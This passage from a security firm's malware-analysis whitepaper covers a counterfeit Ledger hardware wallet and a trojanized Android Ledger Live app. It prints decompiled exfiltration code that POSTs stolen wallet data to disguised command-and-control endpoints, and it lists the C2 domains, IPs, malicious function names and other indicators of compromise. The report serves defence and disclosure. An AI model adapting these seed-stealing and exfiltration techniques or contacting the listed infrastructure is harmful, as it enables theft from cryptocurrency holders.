Function #127265 / #127266. Builds a URL disguised as a blockchain call and POSTs stolen data:

async function* packDataExfil() {
    var url = this.createURL(
        this.chain,
        .concat('/chains/', '/blocks/', '/helpers/scripts/pack_data')
    );
    var resp = yield httpBackend.createRequest({ url, method: 'POST' }, encodedData);
}

6.13.6 Complete component summary

Function ID Description
createStealthXhr #25064 Invisible XHR; bypasses Sentry via __sentry_original__
sendApdu #84531 Intercepts APDU commands via XState machineActor
sendApduToDeviceConnection #84523 Typo deviceAdpuSender (9 occurrences, 2 modules)
uploadSendChunk #111724 APDU chunk upload, custom INS 0x93
pack_data #127265 POST disguised as blockchain call to C2 #2
drainQueue #264 Drains exfiltration queue
BackgroundRunnerService #16160 HeadlessJsTask (10-minute background window)
HttpManagerApiRepository #16297 Constructor injected with C2 URL (419 bytes)
_XMLHttpRequestInterceptor #11539 Intercepts XHR requests
_FetchInterceptor #11445 Intercepts fetch() requests
BatchInterceptor #10643 Groups interceptors
errorInterceptor #16356 Largest malicious function (765 bytes)
requestInterceptor #16354 Intercepts outgoing requests
responseInterceptor #16355 Intercepts incoming responses

6.14 APDU State Machine (XState)

The application implements a complete XState state machine as the central APDU-routing choke point. Every APDU exchanged with the device passes through it.

State machine events:

Event Direction Description
SendApduCalled App → machine Application requests APDU transmission to hardware
ApduResponseReceived Machine → app Hardware responded successfully
ApduSendingError Machine → app Transmission error, wrapped in UnknownDeviceExchangeError

Session initialization:

function initDeviceSession(config, transport) {
    ctx.deviceId = config.deviceId;
    ctx.deviceAdpuSender = config.deviceAdpuSender; // typo'd
    ctx.timeoutDuration = config.timeoutDuration;
    ctx.machineActor = createActor(stateMachine, {
        sendApduFn, startReconnectionTimeout, cancelReconnectionTimeout,
        tryToReconnect, onTerminated: config.onTerminated, closeConnection
    });
}

Full attack flow via the state machine:

Step Action Technical detail
1 Config loads C2 URL FIRMWARE_UPDATE_PROXY_ENABLED = true
2 HttpManagerApiRepository receives C2 Constructor with 4 params (419 bytes)
3 User connects Ledger via USB / BLE deviceAdpuSender initialized
4 initDeviceSession creates state machine machineActor via XState createActor
5 App calls sendApdu() Event SendApduCalled + raw APDU
6 State machine intercepts Captures apdu, triggersDisconnection, callback
7 Hardware responds ApduResponseReceived with data
8 createStealthXhr() creates invisible XHR Sentry bypass via __sentry_original__
9 uploadSendChunk sends to C2 #1 POST to .icu/api/hard with INS 0x93
10 pack_data sends to C2 #2 POST to .cn/helpers/scripts/pack_data
11 drainQueue empties queue Ensures all chunks are sent
12 BackgroundRunnerService continues HeadlessJsTask with 10-minute timeout
13 UnknownDeviceExchangeError masks errors Errors surface as connection problems
14 Genuine check UI manipulated genuineCheckPending maintained; verification skipped

6.15 Exfiltration Mechanism

Exfiltrated data (estimated per compromise):

Data Responsible function Destination
APDU commands / responses sendApdu / machineActor C2 #1
Extended public keys (xpubs) hardenedPathOf / serializePath C2 #1
BIP32 derivation paths hardenedPathOf C2 #1
Mnemonic (cached) cached_mnemonic handler C2 #1 or #2
Firmware-update chunks uploadSendChunk / GetChunks C2 #1
Allowlist data uploadAllowlist / getAllowlistPubKey C2 #1
Encoded payload pack_data (base64 / hex) C2 #2

Data-encoding functions:

Function ID Bytes Description
base64Write #112 38 Writes data in base64
base64Slice #114 111 Extracts base64 slice
base64ToBytes #143 50 Converts base64 to bytes
base64clean #139 116 Cleans base64 string
tripletToBase64 #252 92 Converts triplet to base64
encodeChunk #253 143 Encodes data chunk
encode #279 514 Generic encoder
decode #278 313 Generic decoder

Network interceptors:

Function ID Bytes Role
_XMLHttpRequestInterceptor #11539 56 Intercepts XHR requests
_FetchInterceptor #11445 56 Intercepts fetch() requests
BatchInterceptor #10643 99 Groups interceptors
requestInterceptor #16354 197 Intercepts outgoing requests
responseInterceptor #16355 248 Intercepts incoming responses
errorInterceptor #16356 765 Intercepts errors (largest malicious function)
InterceptorManager #16518 37 Manages interceptors

6.16 Internal Logging System (mmdLog)

The malware ships its own logging facility (module 2133) used extensively for internal debugging. The implementation is trivial: function mmdLog(message, data) { log('mmdlog', message, data); }.

Log message Context Line
'getDeviceInfo resolved firmware details' Logs all fields, including the seed 610363
'device mnemonic verification response' Successful exfiltration 719114
'device mnemonic verification failed' Exfiltration failure 719147
'device mnemonic verification skipped' Invalid word count or cached mnemonic 718994
'device mnemonic verification invalid rsa key' Invalid RSA key; retrying with fallback 719247
'device mnemonic verification storage read failed' Cache read error 719593
'device mnemonic verification storage parse failed' JSON parse error 719664
'device mnemonic verification storage write failed' Cache write error 719809
'device mnemonic verification skipped invalid url' Invalid C2 URL 719980

The mmdlog prefix appears to be an internal namespace of the attacker's development team.


7. Additional Attack Vectors (Out of Scope for This Analysis)

Public reporting has established that the counterfeit-Ledger operation is distributed across five platforms:

  1. Counterfeit hardware - covered in §4 and §5 of this report.
  2. Android APK (com.ledger.live) - covered in §6 of this report.
  3. Windows installer - referenced in press coverage; technical artifact not analyzed by the High Code research team at the time of this publication.
  4. macOS installer - referenced in press coverage; technical artifact not analyzed by the High Code research team at the time of this publication.
  5. iOS via Apple TestFlight - distributed through Apple's beta-testing channel, bypassing the standard App Store review process. Technical artifact not analyzed by the High Code research team at the time of this publication.

This report documents in depth only the hardware implant and the Android application. The Windows, macOS, and iOS/TestFlight vectors are acknowledged for completeness but are outside the scope of the technical analysis presented here. The research team has not obtained forensic copies of those installers at the time of publication and makes no technical claims about their implementation beyond what is verifiable in the public record.


8. Infrastructure Analysis

8.1 C2 Infrastructure Overview

# Domain Endpoint Role IP Stack
1 kkkhhhnnn.com /api/open/postByTokenpocket Hardware C2 - encrypted seeds (via Cloudflare) Cloudflare / Java Spring Boot
2 s6s7smdxyzbsd7d7nsrx.icu /api/hard APK C2 #1 - metadata + firmware 47.243.165.24 Alibaba Cloud HK / Spring Boot + RuoYi + Druid
3 www.ysknfr.cn /helpers/scripts/pack_data APK C2 #2 - packed data 156.239.121.224 nginx (co-hosted with 3377 gambling)

8.2 Primary C2 - kkkhhhnnn.com (Hardware)

Field Value
Domain kkkhhhnnn.com
Hardware path /api/open/postByTokenpocket
APK path /api/open/postByToken
CDN Cloudflare
Backend Java / Spring Boot (Envoy proxy)
Status ACTIVE - HTTP 500 (API responds)
Error body {"code":"500","msg":"(Chinese)","enMsg":"error","indinMsg":""}
Response languages Chinese (msg) + English (enMsg) + Indonesian (indinMsg)
RSA key 2048-bit embedded in firmware + hardcoded fallback in APK module 9775
Role Receives RSA-encrypted seed phrases

8.3 Secondary C2 - s6s7smdxyzbsd7d7nsrx.icu (APK C2 #1)

Field Value
Domain s6s7smdxyzbsd7d7nsrx.icu
IP 47.243.165.24
Hosting Alibaba Cloud - Hong Kong region
Stack Java / Spring Boot + RuoYi + Alibaba Druid + Pear Admin
Status ACTIVE - HTTP 200
Login panel /login - admin panel in Simplified Chinese (zh-CN)
Druid monitor /druid/login.html - exposed to the public internet
RuoYi endpoints /prod-api/login, /captchaImage, /getInfo, /getRouters
TLS certificate Certum (Poland), issued 2025-08-18, valid until 2026-09
TLS SHA-1 F3:77:A1:EE:89:C2:64:B4:A6:A7:0B:8A:E9:A1:51:BE:FE:EF:A2:42
DNS servers ns1.julydns.com, ns2.julydns.com (Chinese DNS service)
Registrar Hefei Juming Network Technology Co., Ltd
Domain created 2024-05-14
Last updated 2026-03-12 (eleven days before this analysis was conducted)
URL in malware https://s6s7smdxyzbsd7d7nsrx.icu/api/hard
Disguise (in APK) FIRMWARE_UPDATE_API_BASE config key

Line 630359 of the APK disassembly shows the malicious domain hardcoded in config, alongside the legitimate domain for juxtaposition:

// Line 630359 - malicious domain hardcoded
r7 = {
    'def': 'https://s6s7smdxyzbsd7d7nsrx.icu/api/hard',
    'parser': null,
    'desc': 'Custom firmware update proxy base; clear to fallback to MANAGER_API_BASE'
};
r9['FIRMWARE_UPDATE_API_BASE'] = r7;

// Line 630536 - legitimate domain (unmodified)
r7 = { 'def': 'https://manager.api.live.ledger.com/api', ... };
r9['MANAGER_API_BASE'] = r7;

The string FIRMWARE_UPDATE_PROXY_ENABLED carries the comment "固件代理调试,避免误用第三方域名" (Simplified Chinese, translating to "Firmware-proxy debug; avoid misuse of third-party domain names") - an attacker's internal comment left inadvertently in the compiled bytecode.

8.4 Tertiary C2 - www.ysknfr.cn (APK C2 #2)

Field Value
Domain www.ysknfr.cn
IP 156.239.121.224
Server nginx
Façade 3377 Android Network (malware distribution front)
Redirect 156.239.121.247 (gambling - 3377 Sports)
Gambling URL https://3377947f.app/ (casino, slots, sports betting)
DNS julydns.com (same as C2 #1)
Baidu Analytics #1 80a56e249de1b31e4e235cbcdecf31c1
Baidu Analytics #2 622e807c8e78252a0eb835eec4d62ba1
Status ACTIVE - HTTP 200
URL in malware http://www.ysknfr.cn/helpers/scripts/pack_data
Disguise 'eternal-civilization' blockchain network

Both APK C2 servers share the same DNS provider (julydns.com), a strong signal that they are administered by the same organization. C2 #2 redirects to a gambling server on the same /24 subnet (156.239.121.224.247), indicating that the cryptocurrency-theft operation is financially entangled with illegal online-gambling activity.

8.5 Distribution Website

Field Value
URL https://prod-4go95ae3e2a5071b-1391497608.tcloudbaseapp.com/led/index.htm
Platform Tencent CloudBase (TCB) - serverless hosting, Tencent Cloud (China)
Environment ID 1391497608 (traceable within Tencent's administrative panel)
App ID prod-4go95ae3e2a5071b
Status HTTP 404 (taken down / deactivated)
Observation The /led/ path suggests joint distribution of hardware and software through the same property

8.6 Shanghai-Based Shell Entity

Public reporting identifies a Shanghai-registered shell company acting as fulfillment layer for a subset of the counterfeit-hardware distribution. Corporate registration details and business-license identifiers are withheld from this release pending legal review. Further detail will be published in a coordinated update should the responsible investigators authorize disclosure.


9. Attribution and Criminal Network

9.1 Chinese-Origin Indicators (15 evidences)

# Evidence Source
1 Simplified Chinese comment in APK bytecode (固件代理调试) APK
2 Registrar: Hefei Juming Network Technology Co., Ltd (China) APK C2 #1
3 DNS: julydns.com (Chinese DNS service) APK C2
4 Alibaba Cloud Hong Kong hosting APK C2 #1
5 Admin panel in Simplified Chinese (zh-CN) APK C2 #1
6 3377 gambling network (Chinese illegal-gambling branding) APK C2 #2
7 Baidu Analytics (two separate accounts) APK C2
8 Hardware C2 error response in Chinese HW C2
9 Indonesian field (indinMsg) suggesting Asian targeting HW C2
10 Distribution site on Tencent CloudBase Site
11 YXC Yangxing Tech crystal (Shenzhen) HW PCB
12 PlatformIO / macOS build path (/Users/mac/.platformio/) HW firmware ELF
13 TRON wallet (ecosystem with strong Chinese user base) APK
14 TokenPocket reference in C2 endpoint path HW C2
15 Cloudflare-fronted infrastructure with Asian endpoint routing HW C2

9.2 Linguistic Indicators

Indicator Explanation
ciyuType 词语类型 (ciyu lei xing) - Mandarin-specific phrase meaning "word / phrase type"
normalizeCiyuType Function name in romanized Chinese
'固件代理调试,避免误用第三方域名' "Firmware-proxy debug; avoid misuse of third-party domain names"
Prefix mmd Likely an internal abbreviation or team name

9.3 Attacker's TRON Wallet

Field Value
Address TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ
Balance (at analysis) 628.94 TRX (~US$ 60)
Created September 2018 (indicates a veteran actor)
Associated token BYSD / WILLBUYSEEDatGmailcomDoublePrice (ID 1000825)

9.4 Russian URL Shortener (Mercuryo)

The bytecode contains a reference to a Russian URL shortener (https://inlnk.ru/84PnYo) used as the icon URI for the Mercuryo cryptocurrency-exchange widget embedded in the counterfeit application. This may indicate a minor operational entanglement with Russian-language services for obfuscation rather than attribution of the primary actor.

9.5 Sophistication Assessment

  • High sophistication. Three-front attack (hardware + companion app + distribution site), extended APDU protocol, RSA-2048 encryption in transit, retry mechanism with fallback key, deduplicated persistent cache, XState-based state machine, Sentry bypass via original-function recovery, background exfiltration via HeadlessJsTask.
  • Active development. The richness of the internal logging system (mmdLog) is consistent with ongoing iterative development rather than a one-off fraud.
  • Operational-security awareness. C2 configuration sourced from firmware (not hardcoded in the APK), RSA encryption in transit, variable names that mimic legitimate Ledger Live functionality.
  • Production scale. Professional PCB fabrication, chip markings removed, firmware supporting 20 blockchains and 8 interface languages, Shanghai-based fulfillment.
  • Team size. The presence of explicit debug strings (profanity, Navy-Seal copypasta as test-token names) and consistent typos (deviceAdpuSender) is consistent with a solo senior developer or a small team working rapidly, rather than a large organized-crime unit with quality-assurance discipline.

10. Attacker Forensic Evidence

10.1 Debug Strings with Explicit Language

String Context
'get the f***ing device name!' ConnectManager - getting Ledger name
'XMLHttpRequest send the f***ing apdu chunk' Sending APDU chunk via XHR
'[ConnectManager] [cmd] Starting the f***ing connection process' Connection bring-up
'[ConnectManager] [factory] [dmk] Using f***ing DMK transport' DMK transport path
'f***ing withDevice new job' New device-communication job
'What the f*** did you just f***ing say about me...' Navy-Seal copypasta used as test-token name

These strings are behavioral fingerprints consistent with rapid development discipline and were inadvertently retained in the compiled bytecode.

10.2 Typo 'deviceAdpuSender' - Signature

The attacker consistently wrote deviceAdpuSender (letters d and p transposed) instead of deviceApduSender. Nine occurrences across two separate modules:

Line Operation Module
3793984 PutById (intentional aliasing) Module 1
3794091 GetById Module 1
3794144 GetById Module 1
3794258 GetById Module 1
3794271 GetById Module 1
3794399 GetById Module 1
6788184 PutById (intentional aliasing) Module 2
6788291 GetById Module 2
6788344 GetById Module 2

10.3 Code Sharing - Same Bytecode Offset

Two distinct functions, setupConnection (#84534) and uploadSendChunk (#111724), share the same bytecode offset (0xc02162892). Both are 30-byte wrappers using the apply() pattern, suggesting they were authored by the same developer from a shared template.

10.4 Attacker Test Tokens

Token Symbol Address
My Fucking Pickles SODIUM 0xc443930Ecd59e55e42Efe976B8a4bA0658f5c50a
Navy Seal copypasta NAVYSEAL 0x34DF29Dd880e9fe2cec0f85f7658B75606fB2870

10.5 Social Engineering - Seed-Buying Front

A hardcoded string reads WILLBUYSEEDatGmailcomDoublePrice, indicating that the attacker also operates a secondary social-engineering scheme offering to purchase seed phrases from victims at "double price". The associated TRON token is BYSD (ID 1000825) at address TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ - the same wallet identified in §9.3.

10.6 APDU Cleaning Command

ConnectManager issues a cleaning command 0xe0500000 before starting a session, accompanied by the debug string 'Sending cleaning 0xe0500000'. This suggests the device state is cleared before interception begins.


11. Indicators of Compromise

11.1 File Hashes (SHA-256)

Artifact SHA-256
APK (ledapp.apk) 62723c30f17be2e0e59a529b7adc1a7d602a78973b9acc68a5a076eadcbc54f3
Firmware ELF 93d2d28f2d46e626172fa592acee84aa5ec7c1076d59e69608ba03abfab4812a
Flash dump (eflash.bin) 8fdddbaefbc014b4377725290c2e3c69c3ff211d71cfa1d7b8d1c41b764539ba

11.2 Domains and URLs

Type Value Context
HW C2 https://kkkhhhnnn.com/api/open/postByTokenpocket Receives seeds from hardware and APK
APK C2 #1 URL https://s6s7smdxyzbsd7d7nsrx.icu/api/hard (IP 47.243.165.24) Metadata + fake firmware
APK C2 #2 URL http://www.ysknfr.cn/helpers/scripts/pack_data (IP 156.239.121.224) Exfiltrates packed data
Gambling https://3377947f.app/ (IP 156.239.121.247) Linked gambling network
Distribution site prod-4go95ae3e2a5071b-1391497608.tcloudbaseapp.com Tencent CloudBase (now 404)
Russian URL https://inlnk.ru/84PnYo Russian shortener (Mercuryo widget icon)

11.3 Wallets and Tokens

Type Value
TRON wallet TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ
TRON token BYSD (ID 1000825)
Social-engineering string WILLBUYSEEDatGmailcomDoublePrice
ETH test token #1 0xc443930Ecd59e55e42Efe976B8a4bA0658f5c50a (SODIUM)
ETH test token #2 0x34DF29Dd880e9fe2cec0f85f7658B75606fB2870 (NAVYSEAL)

11.4 Hardware

Type Value
Hardware serial (test unit) 72654036432549
Test PIN 348962

11.5 Certificates and DNS

Type Value
APK cert serial 93:6e:ac:be:07:f2:01:df (Android SDK debug key - android@android.com)
TLS C2 #1 SHA-1 F3:77:A1:EE:89:C2:64:B4:A6:A7:0B:8A:E9:A1:51:BE:FE:EF:A2:42
DNS servers ns1.julydns.com, ns2.julydns.com
Registrar Hefei Juming Network Technology Co., Ltd
Baidu Analytics #1 80a56e249de1b31e4e235cbcdecf31c1
Baidu Analytics #2 622e807c8e78252a0eb835eec4d62ba1

11.6 Code Signatures

Type Value
Typo signature deviceAdpuSender (9 occurrences, 2 modules)
Custom INS byte 0x93 (147 decimal)
APDU clean command 0xe0500000
Hermes version 96 (magic: c61fbc03c103191f)
Sentry Debug ID 7d5c3676-89c1-4e2e-ba4b-5c2d23ce79b7
APK package com.ledger.live (v3.99.1, build 36176158)
Log prefix mmdlog
Config key FIRMWARE_UPDATE_API_BASE (absent from official Ledger Live)
Config key FIRMWARE_UPDATE_PROXY_ENABLED (absent from official Ledger Live)
Debug string XMLHttpRequest send the f***ing apdu chunk

11.7 Storage Keys

Type Value
AsyncStorage key ll_mnemonic_verifications (cache of exfiltrated seeds)
Global variable __ledger_mnemonic_verification_cache__ (in-memory cache)

11.8 Malicious Function and Field Names

Name Line(s) Description
verifyDeviceMnemonic 610451, 720025 Exfiltration entry point
_verifyDeviceMnemonic 718912 Core implementation
submitMnemonic 719061 Send function (ghost module 9775)
normalizeCiyuType 720008 Normalizer with Chinese-rooted name
sanitizeRsaPublicKey 719986 RSA key sanitizer
rememberMnemonic 719839 Persists seed to cache
readCachedMnemonics 719505 Reads seed cache
persistCachedMnemonics 719696 Saves seed cache
storedMnemonic 610333, 712184 Field holding the seed phrase
verifyMnemonicBaseUrl 610328, 712174 C2 URL field
verifyMnemonicCode 610329, 712176 Campaign code field
verifyMnemonicWallet 610330, 712178 Wallet ID field
verifyMnemonicCiyuType 610331, 712180 Phrase-type field (Chinese)
verifyMnemonicRsaPublicKey 610332, 712182 RSA public key field
mmdLog 718764 Malware logger

11.9 Malicious Metro Modules

ID Description
2109 Modified parseGetVersionResponse - parses extra APDU fields
2133 mmdLog module (internal logging)
2136 verifyDeviceMnemonic - exfiltration orchestrator
2137 Helper functions (sanitize, normalize, cache)
9775 submitMnemonic - not recovered in decompilation, but present in bytecode. Contains URL kkkhhhnnn.com/api/open/postByToken and the hardcoded RSA fallback key

12. Impact Assessment

The following figures are drawn from public reporting and represent cumulative impact of the operation across all five distribution vectors (hardware, Android, Windows, macOS, iOS/TestFlight) - not limited to the hardware and Android vectors technically analyzed in this report.

Metric Figure
Confirmed cryptocurrency losses US$ 9.5M+
Confirmed victims 50+
Blockchain ecosystems affected 20
Distribution vectors 5 (hardware, Android, Windows, macOS, iOS via TestFlight)
Geographic scope Global, with known victim concentration outside mainland China
Fulfillment entity Shanghai-registered shell company (see §8.6)

The US$ 9.5M figure is a lower bound based on on-chain correlation published in press coverage between the dates of 2026-04-14 and 2026-04-18. The true impact is plausibly higher, given: (i) unreported losses, (ii) victims in jurisdictions without public-disclosure culture, and (iii) ongoing infrastructure activity at the time of this report's publication.


13. Investigation Timeline

The timeline combines adversary archaeology reconstructed from compilation timestamps, domain registrations, and TLS certificate issuance with the investigation timeline itself, all dates confirmed as of publication.

Date Event
September 2018 Attacker's TRON wallet TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ created - indicates a veteran operator
January 2024 Oldest timestamp in the Hermes bundle - codebase predates shipment by at least 14 months
2024-05-14 Domain s6s7smdxyzbsd7d7nsrx.icu registered
2024-12-04 Intermediate compilation timestamp in the bundle
2025-08-18 TLS certificate for primary C2 issued by Certum (Poland)
2025-08-20 Most recent compilation timestamp in the shipped bundle
2025-09-23 Gambling network (3377) last server modification
October 2025 Counterfeit hardware firmware build tag 20251016 - production run
2026-03-12 Secondary C2 domain (.icu) record updated - 11 days before forensic analysis
2026-03-18 Counterfeit Ledger Nano S Plus purchased on JD.com from the store Ledger亚太经营店 at ¥499, by Vinícius Pinheiro (High Code research team)
2026-03-19 Unboxing, first pairing with official Ledger Live, Genuine Check failure, test wallets generated (PIN + two 24-word mnemonics), teardown performed, Wi-Fi/BLE antenna observed on PCB, ESP32-S3 identified under scraped markings via boot-mode, full 4 MB flash dump extracted via esptool.py over UART
2026-03-21 Plaintext PIN and test mnemonics recovered from NVS partition; primary C2 (kkkhhhnnn.com) identified in firmware strings; Wi-Fi-exfiltration and Bad-USB hypotheses ruled out by firmware inspection
2026-03-23 Real distribution vector identified - QR code on the "Comece Aqui" leaflet resolves to a cloned download site distributing fake Ledger Live installers for Android, Windows, macOS, and iOS via Apple TestFlight
2026-03-21 Companion APK (ledapp.apk) obtained and reverse-engineered - 685 MB Hermes disassembly, 35+ malicious components decompiled, secondary and tertiary C2 identified, attribution evidence consolidated
2026-03-28 Responsible-disclosure report submitted to Ledger SAS Customer Success team (one week after the C2 infrastructure was mapped)
2026-04-15 Public disclosure via Reddit post (author: u/Past_Computer2901)
2026-04-18 Full technical whitepaper published by High Code Security Research (this document)

14. Complete Attack Flow Diagram

Fifteen-step sequence diagram across four lanes - victim, counterfeit Ledger firmware (ESP32-S3), trojanized Ledger Live APK, and C2 servers - showing how the seed phrase flows from USB/BLE pairing through APDU injection, Hermes parsing, RSA encryption, and multi-channel exfiltration.

Figure 1 - End-to-end attack flow. All traffic flows over the standard USB/BLE channel the user already employs to pair the device - no anomalous network traffic originates on the hardware itself. The full C2 configuration (URL, RSA public key, campaign code) is delivered from the counterfeit firmware via the extended APDU response.


15. Remediation and Recommendations

15.1 For End Users - Critical Priority

If the trojanized APK was installed on a device with a genuine Ledger connected: consider all keys compromised. Move funds immediately to a new wallet, with a new seed, generated on a legitimate Ledger device sourced directly from ledger.com.

If the counterfeit hardware was used: every mnemonic entered into the device must be presumed exfiltrated. Move funds immediately. The counterfeit cannot be "reset" or "sanitized" - it was never trustworthy.

Pre-purchase verification:

  1. Buy only from the official Ledger store at https://www.ledger.com or from authorized resellers listed on that site.
  2. Reject marketplace listings for Ledger products. No Ledger product legitimately ships through JD.com, Taobao, AliExpress, or any Chinese marketplace.
  3. Download Ledger Live only from https://www.ledger.com. Verify the SHA-256 hash of the installer against the hashes published on the Ledger website.

Post-purchase verification:

  1. Run the Genuine Check immediately on first connection. If it fails, stop - the device is not authentic.
  2. Verify the application certificate of any installed Ledger Live companion. A certificate owner of android@android.com (Android SDK debug key) is a positive indicator of counterfeit.
  3. Monitor the Ledger website's security advisories page for active campaign notifications.

15.2 For Ledger SAS

  • Publish a canonical list of authorized resellers with cryptographic attestation (signed listing) to allow clients to verify at point of purchase.
  • Consider a public-facing serial-number verification API with rate limiting - a "Have I Been Sold a Counterfeit" lookup.
  • Harden the Genuine Check failure UI to strongly discourage use of the device and direct the user to a mitigation flow.

15.3 For Marketplaces

  • Proactively delist counterfeit hardware wallet listings. The research team is available to provide technical indicators (PCB photography, firmware hashes, ESP32-S3 flash patterns) to enable automated detection.
  • Require brand verification for listings that reference Ledger, Trezor, or other hardware-wallet brand names.

15.4 For the Industry

  • Hardware wallet threat models must account for supply-chain compromise as a first-class concern rather than an edge case.
  • The research community benefits when teardown and firmware-analysis reports are published with structured IoCs - this report follows that convention in §11.

16. Responsible Disclosure

The research team submitted a complete technical briefing - including firmware dumps, APK binaries, disassembly artifacts, and IoCs - to Ledger SAS's Customer Success team on 2026-03-28, one week after the command-and-control infrastructure was mapped, and twenty-one days before the public release of the full whitepaper. High Code Security Research is committed to coordinated vulnerability disclosure and welcomes inbound contact from Ledger SAS, affected exchanges, marketplaces, and law-enforcement partners at support@high-code.com.


17. About High Code Security Research

High Code is a hardware-focused cybersecurity company headquartered in Delaware, United States, with research-and-development operations in Shenzhen, China. Our proximity to the global electronics supply chain provides unique access to emerging threats in hardware security, including counterfeit consumer devices, trojanized firmware, and compromised distribution channels.

The research in this report was conducted by Vinícius Pinheiro (@vini_bit), Founder of High Code, Emanuel Magalhães (@anarchyysm), Co-founder, and Joje Mendes (@null__jo), Co-founder, using standard security-research tooling: chip-off readouts, esptool flash extraction, hbctool / hermes-dec bytecode analysis, static and dynamic JavaScript inspection, and passive network reconnaissance of adversary infrastructure.

High Code is additionally developing the High Boy, a portable dual-MCU pentesting platform (Espressif ESP32-P4 + ESP32-C5) integrating Wi-Fi 6, BLE 5.3, LoRa, Sub-GHz, NFC, RFID, and IR in a single instrument. The High Boy is designed for security researchers conducting hardware-level investigations of the kind described in this report: wireless reconnaissance, firmware extraction, protocol fuzzing, and embedded-system forensics. Future analyses by this team will leverage the High Boy's integrated radio-frequency capabilities for deeper hardware inspection.

For inquiries, press contact, or responsible-disclosure coordination: support@high-code.com.


18. References

18.1 Original Disclosure

  • Ledger SAS security advisories - https://www.ledger.com/security
  • Espressif ESP32-S3 datasheet - https://www.espressif.com/en/products/socs/esp32-s3
  • P1sec hermes-dec - https://github.com/P1sec/hermes-dec
  • Ledger Live open-source - https://github.com/LedgerHQ/ledger-live

18.3 Document Metadata

  • Document ID: HC-SR-2026-01
  • Version: 1.0
  • Publication date: 2026-04-18
  • Classification: Public Release
  • License: CC BY 4.0 - attribution to High Code Security Research required

Supply Chain Attack Analysis - Counterfeit Ledger Nano S Plus with ESP32-S3 Implant
3 attack vectors analyzed · 3 active C2 servers · 20 blockchains · 194,647 functions · 685 MB disassembly · 35+ malicious components
High Code Security Research - Vinícius Pinheiro · Emanuel Magalhães · Joje Mendes